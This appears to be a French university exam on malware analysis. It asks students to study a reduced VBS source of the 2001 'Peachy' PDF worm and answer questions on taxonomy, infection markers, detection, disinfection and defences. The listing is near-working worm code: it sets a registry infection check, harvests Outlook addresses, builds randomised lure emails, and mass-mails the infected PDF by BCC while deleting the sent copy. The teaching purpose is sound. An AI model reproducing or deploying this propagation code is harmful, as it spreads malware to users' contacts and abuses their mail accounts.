

# Examen Virus & Antivirus

**Attention :** répondre directement sur le sujet

**Nom / Prénom :**

Analyse de « Peachy » le premier programme malveillant diffusé à l'intérieur d'un fichier PDF.

Ce programme est apparu en 2001, il exploite conjointement un mécanisme d'ingénierie sociale et une fonction de la version complète d'Acrobat reader (lecteur PDF) permettant d'exécuter un script VBS encapsulé dans le document.

L'utilisateur reçoit par e-mail un message intitulé par exemple « Find the peach! » contenant un fichier PDF joint. En ouvrant ce document PDF, une image apparaît (un damier d'une centaine de photos de fesses...) et une indication : il faut trouver la photo de pêche cachée dans ce document. En fait, derrière l'emplacement correct de la pêche se trouve une annotation (masquée par l'image), qui lorsqu'on double clique dessus déclenche l'exécution d'un script VBS, objet de ce sujet.

Examinez maintenant le code joint (version allégée de *Peachy* pour les besoins de cet examen), et répondez aux questions suivantes.

**Note :** Il n'est pas nécessaire de comprendre de manière détaillée le code source joint, ni d'avoir une expérience préalable en programmation de scripts VBS pour répondre aux questions au-delà de ce qui a été vu en TP (ne vous attardez donc pas sur des détails).

## Questions

**Question 1 (1pt) :** Selon la taxonomie de Cohen (vue en cours), ce programme est-il :

- un virus
- un ver
- un hybride ver et virus
- un cheval de troie
- une bombe logique

Justifiez votre réponse (1 ligne) :

**Question 2 (1pt) :** Le programme possède t'il une fonction d'anti-détection ? Si c'est le cas, indiquez à quelle(s) ligne(s) cette fonction est mise en œuvre.

**Question 3 (3pt) :** Le programme détecte-t'il si la machine est déjà infectée ? Si c'est le cas, indiquez à quelle(s) ligne(s) cette fonction est mise en œuvre et expliquez succinctement le principe.

**Question 4 (5pt)** : Proposez un schéma décrivant les grandes étapes de fonctionnement de ce programme.

**Question 5 (1pt)** : Comment peut-on détecter la présence de cette menace sur une machine ? Justifiez (1 phrase).

**Question 6 (3pt)** : Sera-t'il possible de désinfecter totalement cette menace ? Justifiez en précisant le cas échéant l'ensemble des éléments à nettoyer.

**Question 7 (2pt)** : Quelle(s) recommandation(s) en terme d'éléments d'architecture de sécurité du SI d'une entreprise pourriez-vous émettre pour limiter ce genre de menace ?

**Question 8 (1pt)** : Quelle(s) recommandation(s) pourriez-vous faire aux utilisateurs ?

**Question 9 (3pt)** : Expliquez la conséquence du théorème de Cohen sur la conception et le développement des logiciels anti-virus.

```

1 On Error Resume Next
2 Dim P 'Pour les besoins de simplification, P
   contient le chemin du fichier PDF (quelque part dans
   un répertoire temporaire de l'utilisateur)
3 Dim U()
4 ReDim U(0)
5
6 IJ=W.RegRead("HKLMSoftwareOUTLOOK.PDFWorm")
7 If IJ="Version 1.0. By Zulu." Then
8 WScript.Quit
9 Else
10 W.RegWrite "HKLMSoftwareOUTLOOK.PDFWorm","Version
   1.0. By Zulu."
11 End If
12
13 Set C=CreateObject("Outlook.Application")
14 If C Is Nothing Then WScript.Quit
15
16 'Récupération des contacts (emails) à partir du
   carnet d'adresse et des mails
17 'La procédure "Q" ajoute ces contacts dans la
   liste U
18 Set Z=C.GetNameSpace("MAPI")
19 Set N=Z.Folders(1)
20 Q N
21 If UBound(U)=0 Then WScript.Quit
22
23 If UBound(U)-1<100 Then
24 For Y=0 To UBound(U)-1
25 If U(Y)<>" " Then
26 If T="" Then T=U(Y) Else T=T&" "&U(Y)
27 End If
28 Next
29 Else
30 Dim JD(99)
31 For Y=0 To 99
32 JD(Y)=Int(UBound(U)*Rnd)
33 Next
34 For Y=0 To 99
35 For X=Y+1 To 99
36 If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1
37 Next
38 Next
39 For Y=0 To 99
40 If JD(Y)=-1 Then JD(Y)=Int(UBound(U)*Rnd)
41 Next
42 For Y=0 To 99
43 For X=Y+1 To 99
44 If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1
45 Next
46 Next
47 For Y=0 To 99
48 If JD(Y)<>-1 And U(JD(Y))<>" " Then
49 If T="" Then T=U(JD(Y)) Else T=T&" "&U(JD(Y))
50 End If
51 Next
52 End If
53
54 Randomize
55 If Int(2*Rnd)=0 Then O="Fw: "
56 EY=Int(5*Rnd)
57 If EY=0 Then
58 O=O&"You have one minute to find the peach"
59 ElseIf EY=1 Then
60 O=O&"Find the peach"
61 ElseIf EY=2 Then
62 O=O&"Find"
63 ElseIf EY=3 Then
64 O=O&"Peach"
65 Else
66 O=O&"Joke"
67 End If
68 If Int(2*Rnd)=0 Then O=O&"!"
69 If Int(4*Rnd)=0 Then O=UCase(O)
70 If Int(2*Rnd)=0 Then F="> "
71 EY=Int(5*Rnd)
72 If EY=0 Then
73 If Left(O,2)="Fw" Then F=F&Mid(O,5) Else F=F&O
74 ElseIf EY=1 Then
75 F=F&"Try finding the peach"
76 ElseIf EY=2 Then
77 F=F&"Try this"
78 ElseIf EY=3 Then
79 F=F&"Interesting search"
80 Else
81 F=F&"I don't usually send this things, but..."
82 End If
83 If EY<4 Then
84 If Int(2*Rnd)=0 Then F=F&"!"
85 End If
86 EY=Int(5*Rnd)
87 If EY=0 Then
88 F=F&" :-)"
89 ElseIf EY=1 Then
90 F=F&" :)"
91 ElseIf EY=2 Then
92 F=F&" =)"
93 ElseIf EY=3 Then
94 F=F&" :-]"
95 End If
96 If Int(4*Rnd)=0 Then F=UCase(F)
97 EY=Int(6*Rnd)
98 If EY=0 Then
99 SW="find.pdf"
100 ElseIf EY=1 Then
101 SW="peach.pdf"
102 ElseIf EY=2 Then
103 SW="find the peach.pdf"
104 ElseIf EY=3 Then
105 SW="find_the_peach.pdf"
106 ElseIf EY=4 Then
107 SW="joke.pdf"
108 Else
109 SW="search.pdf"
110 End If
111 EY=Int(3*Rnd)
112 If EY=0 Then
113 SW=UCase(Left(SW,1)&Mid(SW,2))
114 ElseIf EY=1 Then
115 SW=UCase(SW)
116 End If
117 SW=S.BuildPath(S.GetSpecialFolder(2),SW)
118 S.CopyFile P,SW
119
120 Set H=C.CreateItem(0)
121 H.BCC=T
122 H.Subject=O
123 If Int(2*Rnd)=0 Then H.Body=F Else H.HTMLBody=F
124 H.Attachments.Add SW
125 H.DeleteAfterSubmit=True
126 H.Send
127
128 S.DeleteFile SW,True
129
130 'Recherche des contacts (@email) dans la liste
   des mails de l'utilisateur
131 Sub Q(I)
132 On Error Resume Next
133 For Each B In I.Items
134 If B.Email1Address<>" " Then D B.Email1Address
135 If B.Email2Address<>" " Then D B.Email2Address
136 If B.Email3Address<>" " Then D B.Email3Address
137 For Each R In B.Recipients
138 D R.Address
139 Next
140 Next
141 For Each B In I.Folders
142 Q B
143 Next
144 End Sub
145
146 'Ajoute une valeur M au tableau U et le
   redimensionne si besoin.
147 Sub D(M)
148 On Error Resume Next
149 U(UBound(U))=M
150 ReDim Preserve U(UBound(U)+1)
151 End Sub
152

```